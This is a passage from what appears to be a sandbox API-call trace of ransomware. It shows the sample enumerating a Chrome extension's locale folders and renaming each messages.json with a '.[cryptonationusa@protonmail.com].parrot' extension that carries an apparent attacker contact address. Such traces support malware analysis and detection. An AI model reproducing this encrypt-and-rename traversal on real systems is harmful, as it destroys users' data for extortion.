data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_cn\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.112] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_CN\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.112] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb876c380, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb876c380, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.112] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fedf50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb876c380, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.112] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.112] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.112] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.112] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.112] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.112] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fedf50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0xd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.112] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1ea, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.113] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.113] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.113] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.113] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd2, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xd2, lpOverlapped=0x0) returned 1 [0072.114] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.114] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ea, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.114] CloseHandle (hObject=0x28c) returned 1 [0072.114] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_hk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_hk\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.116] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.116] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb876c380, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb876c380, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.116] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fedf50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb876c380, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.116] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.119] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.119] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.119] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.119] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.119] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fedf50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.120] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1c2, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.120] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.120] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.121] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.121] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xaa, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xaa, lpOverlapped=0x0) returned 1 [0072.121] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.121] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1c2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.121] CloseHandle (hObject=0x28c) returned 1 [0072.121] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_tw\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_tw\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.124] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_TW\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.124] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb87924e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb87924e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.124] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fedf50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb87924e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.124] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.124] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0072.124] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.124] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0072.124] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0072.124] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fedf50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0xc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0072.125] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1da, nNumberOfBytesToLockHigh=0x0) returned 1 [0072.125] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0072.125] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0072.125] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.126] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xc2, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xc2, lpOverlapped=0x0) returned 1 [0072.126] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0072.126] UnlockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1da, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0072.126] CloseHandle (hObject=0x28c) returned 1 [0072.126] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0072.128] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zu\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0072.128] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb87924e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb87924e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.128] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85fec7e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fedf50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb87924e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0072.130] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\*", fInfoLevelId=0x0, lpFindFileData=0x18ddec, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ddec) returned 0x600610 [0072.130] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85fec7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85fec7e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.131] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dd4d90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7e58fa0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7e58fa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="af", cAlternateFileName="")) returned 1 [0072.131] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7e7f100, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7e7f100, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="am", cAlternateFileName="")) returned 1 [0072.131] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7f17680, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7f17680, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1 [0072.131] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7f17680, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7f17680, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="az", cAlternateFileName="")) returned 1 [0072.131] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7fd5d60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7fd5d60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0072.131] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7fd5d60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7fd5d60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bn", cAlternateFileName="")) returned 1 [0072.131] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85dfaef0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7fd5d60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7fd5d60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1 [0072.131] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7ffbec0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7ffbec0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0072.131] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb7ffbec0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb7ffbec0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0072.131] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8022020, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8022020, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0072.131] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb8022020, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb8022020, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0072.131] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb80e0700, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb80e0700, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1 [0072.131] FindNextFileW (in: hFindFile=0x600610, lpFindFileData=0x18ddec | out: lpFindFileData=0x18ddec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85e23760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb80e0700, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb80e0700, 